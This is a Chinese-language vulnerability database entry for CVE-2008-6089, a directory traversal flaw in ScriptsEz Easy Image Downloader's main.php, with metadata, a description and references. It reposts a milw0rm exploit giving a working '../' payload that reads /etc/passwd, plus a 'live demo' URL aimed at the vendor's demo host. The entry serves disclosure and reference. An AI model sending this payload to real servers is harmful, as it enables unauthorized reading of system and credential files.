Scriptsez Easy Image Downloader 'main.php' 本地文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116368 漏洞类型 路径遍历
发布时间 2008-10-09 更新时间 2009-02-19
CVE编号 CVE-2008-6089 CNNVD-ID CNNVD-200902-135
漏洞平台 PHP CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/6715
https://www.securityfocus.com/bid/31695
https://cxsecurity.com/issue/WLB-2009020143
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-135
|漏洞详情
EasyImageDownloader是ScriptsEz公司开发的图像下载工具。EasyImageDownloader中的main.php存在目录遍历漏洞。远程攻击者可以借助下载操作中的id参数中的".."(参数中包含'..'),读取任意文件。
|漏洞EXP
# ScriptsEz Easy Image Downloader Local File Download Vulnerability
# url: http://www.scriptsez.net/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

PoC:     /main.php?action=download&id=[FILE]
Exploit: /main.php?action=download&id=../../../../../../../../../../../../../../../etc/passwd

live demo:
http://demo.scriptsez.net/easy_image/main.php?action=download&id=../../../../../../../../../../../../../../../etc/passwd

# milw0rm.com [2008-10-09]
|受影响的产品
ScriptsEZ.net Easy Image Downloader 0
|参考资料

来源:XF
名称:eid-main-directory-traversal(45795)
链接:http://xforce.iss.net/xforce/xfdb/45795
来源:BID
名称:31695
链接:http://www.securityfocus.com/bid/31695
来源:MILW0RM
名称:6715
链接:http://www.milw0rm.com/exploits/6715
来源:SECUNIA
名称:32210
链接:http://secunia.com/advisories/32210